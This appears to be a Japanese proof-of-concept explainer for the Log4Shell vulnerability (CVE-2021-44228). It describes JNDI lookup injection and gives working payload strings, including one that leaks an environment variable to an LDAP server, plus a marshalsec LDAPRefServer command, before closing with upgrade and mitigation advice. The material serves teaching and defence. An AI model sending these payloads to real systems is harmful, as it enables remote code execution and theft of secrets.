
脆弱性POC
CVE-2021-44228:
この脆弱性により、ターゲットマシン上で悪意のあるメッセージをログに記録させることで任意のコードを実行できます。
例えば、**Minecraft**でチャットメッセージを送信することで使用でき、サーバー/プレイヤーマシンがそのチャットメッセージをログに記録し、コードを実行します。
LiveOverflow/CVE-2021-44228 動画
メッセージには、リモートオブジェクトをロードするためのプレースホルダー${}とjndi APIの指示を含める必要があります。ObjectFactoryを通じてオブジェクトをロードします。
ldap://x.x.x.x:port/...http://x.x.x.x/...dns://x.x.x/...${jndi:ldap://127.0.0.1:1389/#}
ObjectFactoryがクライアントに存在しない場合、何も起こりません。
サーバーを解決する場合を除きます。
これを使用して、環境変数を漏洩させることができます:
${jndi:ldap://127.0.0.1:1389/${env:java_home}}
なぜ過大評価されているのか?
私の理解が正しければ、JNDIへのインターフェースを提供します
何が悪用されるのか
JNDI JDAPはオブジェクトルックアップAPIです。
サーバーからJavaオブジェクトを取得できます。
marshalsec/LDAPRefServer
オブジェクトデータと、クライアント上でオブジェクトを構築するためのObjectFactory名を送信します。
複数の方法で悪用される可能性があります。
LDAPが外部コードを信頼するように有効になっている場合、悪意のあるObjectFactoryへのURLを指定するだけで済みます。
com.sun.jndi.ldap.object.trustURLCodebase = true
または、別のJava脆弱性があります。JDK-8196902
これと組み合わせることで、本当にRCEになります。
GitHub上には複数のPOCリポジトリがあります。例えば tangxiaofeng7/CVE-2021-44228-Apache-Log4j-Rce
これがfalseに設定されている場合(デフォルトではfalse)、ターゲットコードベース内で悪用可能なObjectFactoryを探すか、別の方法でJNDIを悪用することができます。
JNDIインジェクションに関する詳細情報:
JNDIインジェクション
Veracode Research/rogue-jndi
RCEExampleは悪意のあるメッセージをログに記録する関数です。
実行するには、単にRunを押してください...
LoggerFactoryは、受け取ったものを何でもログに記録するObjectFactoryです。
marshalsecをビルドすると、それにLoggerFactoryを使用するように指示できます。
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1/#LoggerFactory"rce.RCEExampleを実行して、エクスプロイト(ロガー)を確認してください。LoggerFactoryにブレークポイントを設定してオブジェクトを確認できます。プログラムが組み込みメッセージのみをログに記録する場合、影響を受けません。
プログラムがデータファイルやネットワークからテキストをログに記録できる場合、脆弱です。
ただし、いずれにせよ修正すべきです...
最善の対策は、Log4J2 2.15.0以降にアップデートすることです。
何らかの理由でそれができない場合は、次のJava引数でJNDIルックアップを無効にすることで脆弱性を緩和できます: ‐Dlog4j2.formatMsgNoLookups=True
Minecraftサーバー管理者の方は、公式ガイドに従ってください: 重要なお知らせ: Java Editionのセキュリティ脆弱性